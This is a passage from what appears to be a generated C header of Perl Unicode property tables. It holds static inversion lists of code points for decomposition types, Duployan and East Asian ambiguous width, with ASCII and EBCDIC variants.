0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__NONE_invlist[] = { /* for EBCDIC 037 */ - 781, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xAD, - 0xAE, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xCB, - 0xD0, - 0xDA, - 0xE0, - 0xEA, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DT__SML_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE50, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C -}; - -static const UV PL_DT__SQR_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3250, - 0x3251, - 0x32CC, - 0x32D0, - 0x3300, - 0x3358, - 0x3371, - 0x33E0, - 0x33FF, - 0x3400, - 0x1F130, - 0x1F150, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C -}; - -static const UV PL_DT__SUB_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D62, - 0x1D6B, - 0x2080, - 0x208F, - 0x2090, - 0x209D, - 0x2C7C, - 0x2C7D -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_DT__SUP_invlist[] = { /* for ASCII/Latin1 */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA, - 0xAB, - 0xB2, - 0xB4, - 0xB9, - 0xBB, - 0x2B0, - 0x2B9, - 0x2E0, - 0x2E5, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D62, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x2070, - 0x2072, - 0x2074, - 0x2080, - 0x2120, - 0x2121, - 0x2122, - 0x2123, - 0x2C7D, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x3192, - 0x31A0, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0x1F16A, - 0x1F16C -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__SUP_invlist[] = { /* for EBCDIC 1047 */ - 51, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x2B0, - 0x2B9, - 0x2E0, - 0x2E5, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D62, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x2070, - 0x2072, - 0x2074, - 0x2080, - 0x2120, - 0x2121, - 0x2122, - 0x2123, - 0x2C7D, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x3192, - 0x31A0, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0x1F16A, - 0x1F16C -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_DT__SUP_invlist[] = { /* for EBCDIC 037 */ - 51, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x2B0, - 0x2B9, - 0x2E0, - 0x2E5, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D62, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x2070, - 0x2072, - 0x2074, - 0x2080, - 0x2120, - 0x2121, - 0x2122, - 0x2123, - 0x2C7D, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x3192, - 0x31A0, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0x1F16A, - 0x1F16C -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_DT__VERT_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE49 -}; - -static const UV PL_DUPL_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_EA__A_invlist[] = { /* for ASCII/Latin1 */ - 359, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA1, - 0xA2, - 0xA4, - 0xA5, - 0xA7, - 0xA9, - 0xAA, - 0xAB, - 0xAD, - 0xAF, - 0xB0, - 0xB5, - 0xB6, - 0xBB, - 0xBC, - 0xC0, - 0xC6, - 0xC7, - 0xD0, - 0xD1, - 0xD7, - 0xD9, - 0xDE, - 0xE2, - 0xE6, - 0xE7, - 0xE8, - 0xEB, - 0xEC, - 0xEE, - 0xF0, - 0xF1, - 0xF2, - 0xF4, - 0xF7, - 0xFB, - 0xFC, - 0xFD, - 0xFE, - 0xFF, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x261C, - 0x261D, - 0x261E, - 0x261F, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x269E, - 0x26A0, - 0x26BF, - 0x26C0, - 0x26C6, - 0x26CE, - 0x26CF, - 0x26D4, - 0x26D5, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x26EA, - 0x26EB, - 0x26F2, - 0x26F4, - 0x26F5, - 0x26F6, - 0x26FA, - 0x26FB, - 0x26FD, - 0x26FE, - 0x2700, - 0x273D, - 0x273E, - 0x2776, - 0x2780, - 0x2B56, - 0x2B5A, - 0x3248, - 0x3250, - 0xE000, - 0xF900, - 0xFE00, - 0xFE10, - 0xFFFD, - 0xFFFE, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12E, - 0x1F130, - 0x1F16A, - 0x1F170, - 0x1F18E, - 0x1F18F, - 0x1F191, - 0x1F19B, - 0x1F1AD, - 0xE0100, - 0xE01F0, - 0xF0000, - 0xFFFFE, - 0x100000, - 0x10FFFE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_EA__A_invlist[] = { /* for EBCDIC 1047 */ - 363, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x44, - 0x46, - 0x51, - 0x53, - 0x54, - 0x56, - 0x58, - 0x5A, - 0x70, - 0x71, - 0x80, - 0x81, - 0x8C, - 0x8D, - 0x8E, - 0x91, - 0x9A, - 0xA0, - 0xAA, - 0xAD, - 0xAE, - 0xB0, - 0xB3, - 0xB4, - 0xB5, - 0xBA, - 0xBB, - 0xBC, - 0xBE, - 0xC0, - 0xCA, - 0xCB, - 0xCD, - 0xCF, - 0xDA, - 0xDB, - 0xDC, - 0xDF, - 0xE1, - 0xE2, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x101, - 0x102, - 0x111, - 0x112, - 0x113, - 0x114, - 0x11B, - 0x11C, - 0x126, - 0x128, - 0x12B, - 0x12C, - 0x131, - 0x134, - 0x138, - 0x139, - 0x13F, - 0x143, - 0x144, - 0x145, - 0x148, - 0x14C, - 0x14D, - 0x14E, - 0x152, - 0x154, - 0x166, - 0x168, - 0x16B, - 0x16C, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x251, - 0x252, - 0x261, - 0x262, - 0x2C4, - 0x2C5, - 0x2C7, - 0x2C8, - 0x2C9, - 0x2CC, - 0x2CD, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x391, - 0x3A2, - 0x3A3, - 0x3AA, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CA, - 0x401, - 0x402, - 0x410, - 0x450, - 0x451, - 0x452, - 0x2010, - 0x2011, - 0x2013, - 0x2017, - 0x2018, - 0x201A, - 0x201C, - 0x201E, - 0x2020, - 0x2023, - 0x2024, - 0x2028, - 0x2030, - 0x2031, - 0x2032, - 0x2034, - 0x2035, - 0x2036, - 0x203B, - 0x203C, - 0x203E, - 0x203F, - 0x2074, - 0x2075, - 0x207F, - 0x2080, - 0x2081, - 0x2085, - 0x20AC, - 0x20AD, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x2126, - 0x2127, - 0x212B, - 0x212C, - 0x2153, - 0x2155, - 0x215B, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x2190, - 0x219A, - 0x21B8, - 0x21BA, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21E7, - 0x21E8, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2212, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x2312, - 0x2313, - 0x2460, - 0x24EA, - 0x24EB, - 0x254C, - 0x2550, - 0x2574, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 